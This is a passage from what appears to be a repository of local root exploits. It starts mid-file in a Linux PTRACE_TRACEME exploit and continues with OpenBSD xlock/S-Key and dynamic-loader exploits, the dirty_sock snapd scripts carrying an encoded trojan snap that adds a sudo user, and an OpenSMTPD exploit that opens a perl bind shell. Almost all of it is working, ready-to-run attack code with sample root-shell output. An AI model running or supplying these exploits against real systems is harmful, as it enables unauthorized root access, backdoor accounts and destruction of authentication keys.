sizeof(buffer)); 327 | for (int i = 0; found[needle_length + i] != '\n'; i++) { 328 | if (i >= sizeof(buffer)-1) 329 | continue; 330 | buffer[i] = found[needle_length + i]; 331 | } 332 | 333 | if (strstr(&buffer[0], "/xf86-video-intel-backlight-helper") != 0 || 334 | strstr(&buffer[0], "/cpugovctl") != 0 || 335 | strstr(&buffer[0], "/package-system-locked") != 0 || 336 | strstr(&buffer[0], "/cddistupgrader") != 0) { 337 | dprintf("[.] Ignoring blacklisted helper: %s\n", &buffer[0]); 338 | continue; 339 | } 340 | 341 | /* check the path exists */ 342 | if (stat(&buffer[0], &st) != 0) 343 | continue; 344 | 345 | helpers[helper_index] = strndup(&buffer[0], strlen(buffer)); 346 | helper_index++; 347 | 348 | if (helper_index >= sizeof(helpers)/sizeof(helpers[0])) 349 | break; 350 | } 351 | 352 | pclose(fp); 353 | return 0; 354 | } 355 | 356 | // * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * 357 | 358 | int ptrace_traceme_root() { 359 | dprintf("[.] Using helper: %s\n", helper_path); 360 | 361 | /* 362 | * set up a pipe such that the next write to it will block: packet mode, 363 | * limited to one packet 364 | */ 365 | SAFE(pipe2(block_pipe, O_CLOEXEC|O_DIRECT)); 366 | SAFE(fcntl(block_pipe[0], F_SETPIPE_SZ, 0x1000)); 367 | char dummy = 0; 368 | SAFE(write(block_pipe[1], &dummy, 1)); 369 | 370 | /* spawn pkexec in a child, and continue here once our child is in execve() */ 371 | dprintf("[.] Spawning suid process (%s) ...\n", pkexec_path); 372 | static char middle_stack[1024*1024]; 373 | pid_t midpid = SAFE(clone(middle_main, middle_stack+sizeof(middle_stack), 374 | CLONE_VM|CLONE_VFORK|SIGCHLD, NULL)); 375 | if (!middle_success) return 1; 376 | 377 | /* 378 | * wait for our child to go through both execve() calls (first pkexec, then 379 | * the executable permitted by polkit policy). 380 | */ 381 | while (1) { 382 | int fd = open(tprintf("/proc/%d/comm", midpid), O_RDONLY); 383 | char buf[16]; 384 | int buflen = SAFE(read(fd, buf, sizeof(buf)-1)); 385 | buf[buflen] = '\0'; 386 | *strchrnul(buf, '\n') = '\0'; 387 | if (strncmp(buf, basename(helper_path), 15) == 0) 388 | break; 389 | usleep(100000); 390 | } 391 | 392 | /* 393 | * our child should have gone through both the privileged execve() and the 394 | * following execve() here 395 | */ 396 | dprintf("[.] Tracing midpid ...\n"); 397 | SAFE(ptrace(PTRACE_ATTACH, midpid, 0, NULL)); 398 | SAFE(waitpid(midpid, &dummy_status, 0)); 399 | dprintf("[~] Attached to midpid\n"); 400 | 401 | force_exec_and_wait(midpid, 0, "stage2"); 402 | exit(EXIT_SUCCESS); 403 | } 404 | 405 | int main(int argc, char **argv) { 406 | if (strcmp(argv[0], "stage2") == 0) 407 | return middle_stage2(); 408 | if (strcmp(argv[0], "stage3") == 0) 409 | return spawn_shell(); 410 | 411 | dprintf("Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)\n"); 412 | 413 | check_env(); 414 | 415 | if (argc > 1 && strcmp(argv[1], "check") == 0) { 416 | exit(0); 417 | } 418 | 419 | /* Search for known helpers defined in 'known_helpers' array */ 420 | dprintf("[.] Searching for known helpers ...\n"); 421 | for (int i=0; i 36 | # https://github.com/bcoles/local-exploits/tree/master/CVE-2019-19520 37 | 38 | echo "openbsd-authroot (CVE-2019-19520 / CVE-2019-19522)" 39 | 40 | echo "[*] checking system ..." 41 | 42 | if grep auth= /etc/login.conf | fgrep -Ev "^#" | grep -q yubikey ; then 43 | echo "[*] system supports YubiKey authentication" 44 | target='yubikey' 45 | elif grep auth= /etc/login.conf | fgrep -Ev "^#" | grep -q skey ; then 46 | echo "[*] system supports S/Key authentication" 47 | target='skey' 48 | if ! test -d /etc/skey/ ; then 49 | echo "[-] S/Key authentication enabled, but has not been initialized" 50 | exit 1 51 | fi 52 | else 53 | echo "[-] system does not support S/Key / YubiKey authentication" 54 | exit 1 55 | fi 56 | 57 | echo "[*] id: `id`" 58 | 59 | echo "[*] compiling ..." 60 | 61 | cat > swrast_dri.c << "EOF" 62 | #include 63 | #include 64 | #include 65 | static void __attribute__ ((constructor)) _init (void) { 66 | gid_t rgid, egid, sgid; 67 | if (getresgid(&rgid, &egid, &sgid) != 0) _exit(__LINE__); 68 | if (setresgid(sgid, sgid, sgid) != 0) _exit(__LINE__); 69 | char * const argv[] = { _PATH_KSHELL, NULL }; 70 | execve(argv[0], argv, NULL); 71 | _exit(__LINE__); 72 | } 73 | EOF 74 | 75 | cc -fpic -shared -s -o swrast_dri.so swrast_dri.c 76 | rm -rf swrast_dri.c 77 | 78 | echo "[*] running Xvfb ..." 79 | 80 | display=":66" 81 | 82 | env -i /usr/X11R6/bin/Xvfb $display -cc 0 & 83 | 84 | echo "[*] testing for CVE-2019-19520 ..." 85 | 86 | group=$(echo id -gn | env -i LIBGL_DRIVERS_PATH=. /usr/X11R6/bin/xlock -display $display) 87 | 88 | if [ "$group" = "auth" ]; then 89 | echo "[+] success! we have auth group permissions" 90 | else 91 | echo "[-] failed to acquire auth group permissions" 92 | exit 1 93 | fi 94 | 95 | # uncomment to drop to a shell with auth group permissions 96 | #env -i LIBGL_DRIVERS_PATH=. /usr/X11R6/bin/xlock -display $display ; exit 97 | 98 | echo 99 | echo "WARNING: THIS EXPLOIT WILL DELETE KEYS. YOU HAVE 5 SECONDS TO CANCEL (CTRL+C)." 100 | echo 101 | sleep 5 102 | 103 | if [ "$target" = "skey" ]; then 104 | echo "[*] trying CVE-2019-19522 (S/Key) ..." 105 | echo "rm -rf /etc/skey/root ; echo 'root md5 0100 obsd91335 8b6d96e0ef1b1c21' > /etc/skey/root ; chmod 0600 /etc/skey/root" | env -i LIBGL_DRIVERS_PATH=. /usr/X11R6/bin/xlock -display $display 106 | rm -rf swrast_dri.so 107 | echo "Your password is: EGG LARD GROW HOG DRAG LAIN" 108 | env -i TERM=vt220 su -l -a skey 109 | fi 110 | 111 | if [ "$target" = "yubikey" ]; then 112 | echo "[*] trying CVE-2019-19522 (YubiKey) ..." 113 | echo "rm -rf /var/db/yubikey/root.* ; echo 32d32ddfb7d5 > /var/db/yubikey/root.uid ; echo 554d5eedfd75fb96cc74d52609505216 > /var/db/yubikey/root.key" | env -i LIBGL_DRIVERS_PATH=. /usr/X11R6/bin/xlock -display $display 114 | rm -rf swrast_dri.so 115 | echo "Your password is: krkhgtuhdnjclrikikklulkldlutreul" 116 | env -i TERM=vt220 su -l -a yubikey 117 | fi 118 | -------------------------------------------------------------------------------- /2019/CVE-2019-19726/openbsd-dynamic-loader-chpass: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # openbsd-dynamic-loader-chpass - OpenBSD local root exploit for 2019-19726 3 | # Code mostly stolen from Qualys PoCs: 4 | # - https://www.openwall.com/lists/oss-security/2019/12/11/9 5 | # - https://blog.qualys.com/laws-of-vulnerabilities/2019/12/11/openbsd-local-privilege-escalation-vulnerability-cve-2019-19726 6 | # - https://www.qualys.com/2019/12/11/cve-2019-19726/local-privilege-escalation-openbsd-dynamic-loader.txt 7 | # 8 | # This exploit uses the lazy approach of spraying libutil shared objects 9 | # to the current working directory. 10 | # --- 11 | # openbsd-6-6-x64$ ./openbsd-dynamic-loader-chpass 12 | # openbsd-dynamic-loader-chpass (CVE-2019-19726) 13 | # [*] id: uid=1001(test) gid=1001(test) groups=1001(test) 14 | # [*] checking system ... 15 | # [*] current directory /home/test is writable 16 | # [*] 013_ldso patch has not been installed 17 | # [*] compiling ... 18 | # [*] spraying libutil shared objects ... 19 | # [*] executing ./poc /usr/bin/chpass ... 20 | # openbsd-6-6-x64# id 21 | # uid=0(root) gid=0(wheel) groups=1001(test) 22 | # openbsd-6-6-x64# uname -a 23 | # OpenBSD openbsd-6-6-x64.localdomain 6.6 GENERIC#353 amd64 24 | # openbsd-6-6-x64# ld --version 25 | # LLD 8.0.1 (compatible with GNU linkers) 26 | # openbsd-6-6-x64# ^D 27 | # chpass: /etc/master.passwd: unchanged 28 | # [*] cleaning up ... 29 | # --- 30 | # 2019-12-15 - 31 | # https://github.com/bcoles/local-exploits/tree/master/CVE-2019-19726 32 | 33 | chpass="/usr/bin/chpass" 34 | 35 | echo "openbsd-dynamic-loader-chpass (CVE-2019-19726)" 36 | 37 | echo "[*] id: `id`" 38 | 39 | echo "[*] checking system ..." 40 | 41 | if [ -w . ]; then 42 | echo "[*] current directory `pwd` is writable" 43 | else 44 | echo "[-] current directory `pwd` is not writable" 45 | exit 1 46 | fi 47 | 48 | if syspatch -l | grep -q 013_ldso ; then 49 | echo "[-] 013_ldso patch has been installed" 50 | exit 1 51 | else 52 | echo "[*] 013_ldso patch has not been installed" 53 | fi 54 | 55 | echo "[*] compiling ..." 56 | 57 | cat > lib.c << "EOF" 58 | #include 59 | #include 60 | 61 | static void __attribute__ ((constructor)) _init (void) { 62 | if (setuid(0) != 0) _exit(__LINE__); 63 | if (setgid(0) != 0) _exit(__LINE__); 64 | char * const argv[] = { _PATH_KSHELL, "-c", _PATH_KSHELL "; exit 1", NULL }; 65 | execve(argv[0], argv, NULL); 66 | _exit(__LINE__); 67 | } 68 | EOF 69 | 70 | cc -fpic -shared -s -o lib.o lib.c -Wall 71 | 72 | cat > poc.c << "EOF" 73 | #include 74 | #include 75 | #include 76 | #include 77 | 78 | int 79 | main(int argc, char * const * argv) 80 | { 81 | #define LLP "LD_LIBRARY_PATH=." 82 | static char llp[ARG_MAX - 128]; 83 | memset(llp, ':', sizeof(llp)-1); 84 | memcpy(llp, LLP, sizeof(LLP)-1); 85 | char * const envp[] = { llp, "EDITOR=echo '#' >>", NULL }; 86 | 87 | #define DATA (ARG_MAX * sizeof(char *)) 88 | const struct rlimit data = { DATA, DATA }; 89 | if (setrlimit(RLIMIT_DATA, &data) != 0) _exit(__LINE__); 90 | 91 | if (argc <= 1) _exit(__LINE__); 92 | argv += 1; 93 | execve(argv[0], argv, envp); 94 | _exit(__LINE__); 95 | } 96 | EOF 97 | 98 | cc -s -o poc poc.c -Wall 99 | 100 | #$ readelf -a /usr/sbin/pwd_mkdb | grep NEEDED 101 | # 0x0000000000000001 (NEEDED) Shared library: [libutil.so.13.1] 102 | # 0x0000000000000001 (NEEDED) Shared library: [libc.so.95.1] 103 | 104 | echo "[*] spraying libutil shared objects ..." 105 | 106 | cp lib.o libutil.so.11.1 107 | cp lib.o libutil.so.12.1 108 | cp lib.o libutil.so.13.1 109 | 110 | echo "[*] executing ./poc $chpass ..." 111 | 112 | ./poc "$chpass" 113 | 114 | echo "[*] cleaning up ..." 115 | 116 | rm lib.o 117 | rm libutil.so.11.1 118 | rm libutil.so.12.1 119 | rm libutil.so.13.1 120 | rm poc 121 | rm poc.c 122 | rm lib.c 123 | -------------------------------------------------------------------------------- /2019/CVE-2019-7304/dirty_sockv1.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | """ 4 | Local privilege escalation via snapd, affecting Ubuntu and others. 5 | 6 | v1 of dirty_sock leverages the /v2/create-user API to create a new local user 7 | based on information in an Ubuntu SSO profile. It requires outbound Internet 8 | access as well as the SSH service running and available from localhost. 9 | 10 | Try v2 in more restricted environments, but use v1 when possible. 11 | 12 | Before running v1, you need to: 13 | - Create an Ubuntu SSO account (https://login.ubuntu.com/) 14 | - Login to that account and ensure you have your public SSH key configured 15 | in your profile. 16 | 17 | Run exploit like this: 18 | python3 dirty_sock.py -u -k 19 | [+] Slipped dirty sock on random socket file: /tmp/ktgolhtvdk;uid=0; 20 | [+] Binding to socket file... 21 | [+] Connecting to snapd API... 22 | [+] Sending payload... 23 | [+] Success! Enjoy your new account with sudo rights! 24 | 25 | [Script will automatically ssh to localhost with the SSH key here] 26 | 27 | 28 | A new local user with sudo rights will be created using the username from your 29 | Ubuntu SSO profile. The SSH public key will be copied into this users profile. 30 | 31 | The exploit will automatically SSH into localhost when finished. 32 | 33 | Research and POC by initstring (https://github.com/initstring/dirty_sock) 34 | """ 35 | 36 | import argparse 37 | import string 38 | import random 39 | import socket 40 | import re 41 | import sys 42 | import os 43 | 44 | BANNER = r''' 45 | ___ _ ____ ___ _ _ ____ ____ ____ _ _ 46 | | \ | |__/ | \_/ [__ | | | |_/ 47 | |__/ | | \ | | ___ ___] |__| |___ | \_ 48 | (version 1) 49 | 50 | //=========[]==========================================\\ 51 | || R&D || initstring (@init_string) || 52 | || Source || https://github.com/initstring/dirty_sock || 53 | || Details || https://initblog.com/2019/dirty-sock || 54 | \\=========[]==========================================// 55 | 56 | ''' 57 | 58 | 59 | def process_args(): 60 | """Handles user-passed parameters""" 61 | parser = argparse.ArgumentParser() 62 | parser.add_argument('--username', '-u', type=str, action='store', 63 | required=True, help='Your Ubuntu One account email.') 64 | parser.add_argument('--key', '-k', type=str, action='store', 65 | required=True, help='Full path to the ssh privkey' 66 | ' matching the pubkey in your Ubuntu One account.') 67 | 68 | args = parser.parse_args() 69 | 70 | if not os.path.isfile(args.key): 71 | print("[!] That key file does not exist. Please try again.") 72 | sys.exit() 73 | 74 | return args 75 | 76 | def create_sockfile(): 77 | """Generates a random socket file name to use""" 78 | alphabet = string.ascii_lowercase 79 | random_string = ''.join(random.choice(alphabet) for i in range(10)) 80 | dirty_sock = ';uid=0;' 81 | 82 | # This is where we slip on the dirty sock. This makes its way into the 83 | # UNIX AF_SOCKET's peer data, which is parsed in an insecure fashion 84 | # by snapd's ucrednet.go file, allowing us to overwrite the UID variable. 85 | sockfile = '/tmp/' + random_string + dirty_sock 86 | 87 | print("[+] Slipped dirty sock on random socket file: " + sockfile) 88 | 89 | return sockfile 90 | 91 | def bind_sock(sockfile): 92 | """Binds to a local file""" 93 | # This exploit only works if we also BIND to the socket after creating 94 | # it, as we need to inject the dirty sock as a remote peer in the 95 | # socket's ancillary data. 96 | print("[+] Binding to socket file...") 97 | client_sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) 98 | client_sock.bind(sockfile) 99 | 100 | # Connect to the snap daemon 101 | print("[+] Connecting to snapd API...") 102 | client_sock.connect('/run/snapd.socket') 103 | 104 | return client_sock 105 | 106 | def add_user(args, client_sock): 107 | """Main exploit function""" 108 | post_payload = ('{"email": "' + args.username + 109 | '", "sudoer": true, "force-managed": true}') 110 | http_req = ('POST /v2/create-user HTTP/1.1\r\n' 111 | 'Host: localhost\r\n' 112 | 'Content-Length: ' + str(len(post_payload)) + '\r\n\r\n' 113 | + post_payload) 114 | 115 | # Send our payload to the snap API 116 | print("[+] Sending payload...") 117 | client_sock.sendall(http_req.encode("utf-8")) 118 | 119 | # Receive the data and extract the JSON 120 | http_reply = client_sock.recv(8192).decode("utf-8") 121 | 122 | # Try to extract a username from the valid reply 123 | regex = re.compile(r'"status":"OK","result":{"username":"(.*?)"') 124 | username = re.findall(regex, http_reply) 125 | 126 | # If exploit was not successful, give details and exit 127 | if '"status":"Unauthorized"' in http_reply: 128 | print("[!] System may not be vulnerable, here is the API reply:\n\n") 129 | print(http_reply) 130 | sys.exit() 131 | 132 | if 'cannot find user' in http_reply: 133 | print("[!] Could not find user in the snap store... did you follow" 134 | " the instructions?") 135 | print("Here is the API reply:") 136 | print(http_reply) 137 | sys.exit() 138 | 139 | if not username: 140 | print("[!] Something went wrong... Here is the API reply:") 141 | print(http_reply) 142 | sys.exit() 143 | 144 | # SSH into localhost with our new root account 145 | print("[+] Success! Enjoy your new account with sudo rights!") 146 | cmd1 = 'chmod 600 ' + args.key 147 | cmd2 = 'ssh ' + username[0] + '@localhost -i ' + args.key 148 | os.system(cmd1) 149 | os.system(cmd2) 150 | 151 | print("[+] Hope you enjoyed your stay!") 152 | sys.exit() 153 | 154 | 155 | 156 | def main(): 157 | """Main program function""" 158 | 159 | # Gotta have a banner... 160 | print(BANNER) 161 | 162 | # Process the required arguments 163 | args = process_args() 164 | 165 | # Create a random name for the dirty socket file 166 | sockfile = create_sockfile() 167 | 168 | # Bind the dirty socket to the snapdapi 169 | client_sock = bind_sock(sockfile) 170 | 171 | # Exploit away... 172 | add_user(args, client_sock) 173 | 174 | # Remove the dirty socket file 175 | os.remove(sockfile) 176 | 177 | 178 | if __name__ == '__main__': 179 | main() 180 | -------------------------------------------------------------------------------- /2019/CVE-2019-7304/dirty_sockv2.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | """ 4 | Local privilege escalation via snapd, affecting Ubuntu and others. 5 | 6 | v2 of dirty_sock leverages the /v2/snaps API to sideload an empty snap 7 | with an install hook that creates a new user. 8 | 9 | v1 is recommended is most situations as it is less intrusive. 10 | 11 | Simply run as is, no arguments, no requirements. If the exploit is successful, 12 | the system will have a new user with sudo permissions as follows: 13 | 14 | python3 ./dirty_sockv2.py 15 | [+] Slipped dirty sock on random socket file: /tmp/gytwczalgx;uid=0; 16 | [+] Binding to socket file... 17 | [+] Connecting to snapd API... 18 | [+] Deleting trojan snap (and sleeping 5 seconds)... 19 | [+] Installing the trojan snap (and sleeping 8 seconds)... 20 | [+] Deleting trojan snap (and sleeping 5 seconds)... 21 | ******************** 22 | Success! You can now `su` to the following account and use sudo: 23 | username: dirty_sock 24 | password: dirty_sock 25 | ******************** 26 | 27 | 28 | You can execute su dirty_sock when the exploit is complete. See the github page 29 | for troubleshooting. 30 | 31 | Research and POC by initstring (https://github.com/initstring/dirty_sock) 32 | """ 33 | 34 | import string 35 | import random 36 | import socket 37 | import base64 38 | import time 39 | import sys 40 | import os 41 | 42 | BANNER = r''' 43 | ___ _ ____ ___ _ _ ____ ____ ____ _ _ 44 | | \ | |__/ | \_/ [__ | | | |_/ 45 | |__/ | | \ | | ___ ___] |__| |___ | \_ 46 | (version 2) 47 | 48 | //=========[]==========================================\\ 49 | || R&D || initstring (@init_string) || 50 | || Source || https://github.com/initstring/dirty_sock || 51 | || Details || https://initblog.com/2019/dirty-sock || 52 | \\=========[]==========================================// 53 | 54 | ''' 55 | 56 | 57 | # The following global is a base64 encoded string representing an installable 58 | # snap package. The snap itself is empty and has no functionality. It does, 59 | # however, have a bash-script in the install hook that will create a new user. 60 | # For full details, read the blog linked on the github page above. 61 | TROJAN_SNAP = (''' 62 | aHNxcwcAAAAQIVZcAAACAAAAAAAEABEA0AIBAAQAAADgAAAAAAAAAI4DAAAAAAAAhgMAAAAAAAD/ 63 | /////////xICAAAAAAAAsAIAAAAAAAA+AwAAAAAAAHgDAAAAAAAAIyEvYmluL2Jhc2gKCnVzZXJh 64 | ZGQgZGlydHlfc29jayAtbSAtcCAnJDYkc1daY1cxdDI1cGZVZEJ1WCRqV2pFWlFGMnpGU2Z5R3k5 65 | TGJ2RzN2Rnp6SFJqWGZCWUswU09HZk1EMXNMeWFTOTdBd25KVXM3Z0RDWS5mZzE5TnMzSndSZERo 66 | T2NFbURwQlZsRjltLicgLXMgL2Jpbi9iYXNoCnVzZXJtb2QgLWFHIHN1ZG8gZGlydHlfc29jawpl 67 | Y2hvICJkaXJ0eV9zb2NrICAgIEFMTD0oQUxMOkFMTCkgQUxMIiA+PiAvZXRjL3N1ZG9lcnMKbmFt 68 | ZTogZGlydHktc29jawp2ZXJzaW9uOiAnMC4xJwpzdW1tYXJ5OiBFbXB0eSBzbmFwLCB1c2VkIGZv 69 | ciBleHBsb2l0CmRlc2NyaXB0aW9uOiAnU2VlIGh0dHBzOi8vZ2l0aHViLmNvbS9pbml0c3RyaW5n 70 | L2RpcnR5X3NvY2sKCiAgJwphcmNoaXRlY3R1cmVzOgotIGFtZDY0CmNvbmZpbmVtZW50OiBkZXZt 71 | b2RlCmdyYWRlOiBkZXZlbAqcAP03elhaAAABaSLeNgPAZIACIQECAAAAADopyIngAP8AXF0ABIAe 72 | rFoU8J/e5+qumvhFkbY5Pr4ba1mk4+lgZFHaUvoa1O5k6KmvF3FqfKH62aluxOVeNQ7Z00lddaUj 73 | rkpxz0ET/XVLOZmGVXmojv/IHq2fZcc/VQCcVtsco6gAw76gWAABeIACAAAAaCPLPz4wDYsCAAAA 74 | AAFZWowA/Td6WFoAAAFpIt42A8BTnQEhAQIAAAAAvhLn0OAAnABLXQAAan87Em73BrVRGmIBM8q2 75 | XR9JLRjNEyz6lNkCjEjKrZZFBdDja9cJJGw1F0vtkyjZecTuAfMJX82806GjaLtEv4x1DNYWJ5N5 76 | RQAAAEDvGfMAAWedAQAAAPtvjkc+MA2LAgAAAAABWVo4gIAAAAAAAAAAPAAAAAAAAAAAAAAAAAAA 77 | AFwAAAAAAAAAwAAAAAAAAACgAAAAAAAAAOAAAAAAAAAAPgMAAAAAAAAEgAAAAACAAw''' 78 | + 'A' * 4256 + '==') 79 | 80 | def check_args(): 81 | """Return short help if any args given""" 82 | if len(sys.argv) > 1: 83 | print("\n\n" 84 | "No arguments needed for this version. Simply run and enjoy." 85 | "\n\n") 86 | sys.exit() 87 | 88 | def create_sockfile(): 89 | """Generates a random socket file name to use""" 90 | alphabet = string.ascii_lowercase 91 | random_string = ''.join(random.choice(alphabet) for i in range(10)) 92 | dirty_sock = ';uid=0;' 93 | 94 | # This is where we slip on the dirty sock. This makes its way into the 95 | # UNIX AF_SOCKET's peer data, which is parsed in an insecure fashion 96 | # by snapd's ucrednet.go file, allowing us to overwrite the UID variable. 97 | sockfile = '/tmp/' + random_string + dirty_sock 98 | 99 | print("[+] Slipped dirty sock on random socket file: " + sockfile) 100 | 101 | return sockfile 102 | 103 | def bind_sock(sockfile): 104 | """Binds to a local file""" 105 | # This exploit only works if we also BIND to the socket after creating 106 | # it, as we need to inject the dirty sock as a remote peer in the 107 | # socket's ancillary data. 108 | print("[+] Binding to socket file...") 109 | client_sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) 110 | client_sock.bind(sockfile) 111 | 112 | # Connect to the snap daemon 113 | print("[+] Connecting to snapd API...") 114 | client_sock.connect('/run/snapd.socket') 115 | 116 | return client_sock 117 | 118 | def delete_snap(client_sock): 119 | """Deletes the trojan snap, if installed""" 120 | post_payload = ('{"action": "remove",' 121 | ' "snaps": ["dirty-sock"]}') 122 | http_req = ('POST /v2/snaps HTTP/1.1\r\n' 123 | 'Host: localhost\r\n' 124 | 'Content-Type: application/json\r\n' 125 | 'Content-Length: ' + str(len(post_payload)) + '\r\n\r\n' 126 | + post_payload) 127 | 128 | # Send our payload to the snap API 129 | print("[+] Deleting trojan snap (and sleeping 5 seconds)...") 130 | client_sock.sendall(http_req.encode("utf-8")) 131 | 132 | # Receive the data and extract the JSON 133 | http_reply = client_sock.recv(8192).decode("utf-8") 134 | 135 | # Exit on probably-not-vulnerable 136 | if '"status":"Unauthorized"' in http_reply: 137 | print("[!] System may not be vulnerable, here is the API reply:\n\n") 138 | print(http_reply) 139 | sys.exit() 140 | 141 | # Exit on failure 142 | if 'status-code":202' not in http_reply: 143 | print("[!] Did not work, here is the API reply:\n\n") 144 | print(http_reply) 145 | sys.exit() 146 | 147 | # We sleep to allow the API command to complete, otherwise the install 148 | # may fail. 149 | time.sleep(5) 150 | 151 | def install_snap(client_sock): 152 | """Sideloads the trojan snap""" 153 | 154 | # Decode the base64 from above back into bytes 155 | blob = base64.b64decode(TROJAN_SNAP) 156 | 157 | # Configure the multi-part form upload boundary here: 158 | boundary = '------------------------f8c156143a1caf97' 159 | 160 | # Construct the POST payload for the /v2/snap API, per the instructions 161 | # here: https://github.com/snapcore/snapd/wiki/REST-API 162 | # This follows the 'sideloading' process. 163 | post_payload = ''' 164 | --------------------------f8c156143a1caf97 165 | Content-Disposition: form-data; name="devmode" 166 | 167 | true 168 | --------------------------f8c156143a1caf97 169 | Content-Disposition: form-data; name="snap"; filename="snap.snap" 170 | Content-Type: application/octet-stream 171 | 172 | ''' + blob.decode('latin-1') + ''' 173 | --------------------------f8c156143a1caf97--''' 174 | 175 | 176 | # Multi-part forum uploads are weird. First, we post the headers 177 | # and wait for an HTTP 100 reply. THEN we can send the payload. 178 | http_req1 = ('POST /v2/snaps HTTP/1.1\r\n' 179 | 'Host: localhost\r\n' 180 | 'Content-Type: multipart/form-data; boundary=' 181 | + boundary + '\r\n' 182 | 'Expect: 100-continue\r\n' 183 | 'Content-Length: ' + str(len(post_payload)) + '\r\n\r\n') 184 | 185 | # Send the headers to the snap API 186 | print("[+] Installing the trojan snap (and sleeping 8 seconds)...") 187 | client_sock.sendall(http_req1.encode("utf-8")) 188 | 189 | # Receive the initial HTTP/1.1 100 Continue reply 190 | http_reply = client_sock.recv(8192).decode("utf-8") 191 | 192 | if 'HTTP/1.1 100 Continue' not in http_reply: 193 | print("[!] Error starting POST conversation, here is the reply:\n\n") 194 | print(http_reply) 195 | sys.exit() 196 | 197 | # Now we can send the payload 198 | http_req2 = post_payload 199 | client_sock.sendall(http_req2.encode("latin-1")) 200 | 201 | # Receive the data and extract the JSON 202 | http_reply = client_sock.recv(8192).decode("utf-8") 203 | 204 | # Exit on failure 205 | if 'status-code":202' not in http_reply: 206 | print("[!] Did not work, here is the API reply:\n\n") 207 | print(http_reply) 208 | sys.exit() 209 | 210 | # Sleep to allow time for the snap to install correctly. Otherwise, 211 | # The uninstall that follows will fail, leaving unnecessary traces 212 | # on the machine. 213 | time.sleep(8) 214 | 215 | def print_success(): 216 | """Prints a success message if we've made it this far""" 217 | print("\n\n") 218 | print("********************") 219 | print("Success! You can now `su` to the following account and use sudo:") 220 | print(" username: dirty_sock") 221 | print(" password: dirty_sock") 222 | print("********************") 223 | print("\n\n") 224 | 225 | 226 | def main(): 227 | """Main program function""" 228 | 229 | # Gotta have a banner... 230 | print(BANNER) 231 | 232 | # Check for any args (none needed) 233 | check_args() 234 | 235 | # Create a random name for the dirty socket file 236 | sockfile = create_sockfile() 237 | 238 | # Bind the dirty socket to the snapdapi 239 | client_sock = bind_sock(sockfile) 240 | 241 | # Delete trojan snap, in case there was a previous install attempt 242 | delete_snap(client_sock) 243 | 244 | # Install the trojan snap, which has an install hook that creates a user 245 | install_snap(client_sock) 246 | 247 | # Delete the trojan snap 248 | delete_snap(client_sock) 249 | 250 | # Remove the dirty socket file 251 | os.remove(sockfile) 252 | 253 | # Congratulate the lucky hacker 254 | print_success() 255 | 256 | 257 | if __name__ == '__main__': 258 | main() 259 | -------------------------------------------------------------------------------- /2020/CVE-2020-7247/root66: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # root66 - OpenBSD 6.6 OpenSMTPD 6.6 local root exploit for CVE-2020-7247 3 | # starts a perl bindshell on port 1337 with root privileges 4 | # 5 | # Code mostly stolen from Qualys PoCs: 6 | # - https://www.openwall.com/lists/oss-security/2020/01/28/3 7 | # - https://blog.qualys.com/laws-of-vulnerabilities/2020/01/29/openbsd-opensmtpd-remote-code-execution-vulnerability-cve-2020-7247 8 | # - https://www.qualys.com/2020/01/28/cve-2020-7247/lpe-rce-opensmtpd.txt 9 | # --- 10 | # openbsd-6-6-x64$ ./root66 11 | # OpenBSD 6.6 OpenSMTPD 6.6 local root exploit (CVE-2020-7247) 12 | # [*] id: uid=1001(test) gid=1001(test) groups=1001(test) 13 | # [*] checking system ... 14 | # [*] directory /tmp/.payload is writable 15 | # [*] 019_smtpd_exec patch has not been installed 16 | # [*] writing payload to /tmp/.payload ... 17 | # [*] executing /tmp/.payload ... 18 | # <<< 220 openbsd-6-6-x64.localdomain ESMTP OpenSMTPD 19 | # >>> EHLO localhost 20 | # <<< 250-openbsd-6-6-x64.localdomain Hello localhost [local], pleased to meet you 21 | # <<< 250-8BITMIME 22 | # <<< 250-ENHANCEDSTATUSCODES 23 | # <<< 250-SIZE 36700160 24 | # <<< 250 HELP 25 | # >>> MAIL FROM:<;/tmp/.payload;#@> 26 | # <<< 250 2.0.0 Ok 27 | # >>> RCPT TO: 28 | # <<< 250 2.1.5 Destination address valid: Recipient ok 29 | # >>> DATA 30 | # <<< 354 Enter mail, end with "." on a line by itself 31 | # >>> . 32 | # <<< 250 2.0.0 9493d192 Message accepted for delivery 33 | # >>> QUIT 34 | # <<< 221 2.0.0 Bye 35 | # [*] cleaning up /tmp/.payload ... 36 | # [*] connecting to 127.0.0.1:1337 ... 37 | # Connection to 127.0.0.1 1337 port [tcp/*] succeeded! 38 | # id 39 | # uid=0(root) gid=0(wheel) groups=0(wheel) 40 | # uname -a 41 | # OpenBSD openbsd-6-6-x64.localdomain 6.6 GENERIC#353 amd64 42 | # --- 43 | # 2020-01-31 - 44 | # https://github.com/bcoles/local-exploits/tree/master/CVE-2020-7247 45 | 46 | payload="/tmp/.payload" 47 | 48 | /bin/echo "OpenBSD 6.6 OpenSMTPD 6.6 local root exploit (CVE-2020-7247)" 49 | 50 | /bin/echo "[*] id: `id`" 51 | 52 | /bin/echo "[*] checking system ..." 53 | 54 | if [ -w `dirname $payload` ]; then 55 | /bin/echo "[*] directory $payload is writable" 56 | else 57 | /bin/echo "[-] directory $payload is not writable" 58 | exit 1 59 | fi 60 | 61 | if syspatch -l | grep -q 019_smtpd_exec ; then 62 | /bin/echo "[-] 019_smtpd_exec patch has been installed" 63 | exit 1 64 | else 65 | /bin/echo "[*] 019_smtpd_exec patch has not been installed" 66 | fi 67 | 68 | /bin/echo "[*] writing payload to $payload ..." 69 | cat > $payload << "EOF" 70 | #!/bin/sh 71 | perl -MIO -e '$p=fork();exit,if$p;foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(LocalPort,1337,Reuse,1,Listen)->accept;$~->fdopen($c,w);STDIN->fdopen($c,r);while(<>){if($_=~ /(.*)/){system $1;}};' 72 | EOF 73 | /bin/chmod +x $payload 74 | 75 | /bin/echo "[*] executing $payload ..." 76 | /bin/echo | /usr/sbin/sendmail -v -f "<;$payload;#@>" `whoami` 77 | 78 | /bin/sleep 1 79 | 80 | /bin/echo "[*] cleaning up $payload ..." 81 | 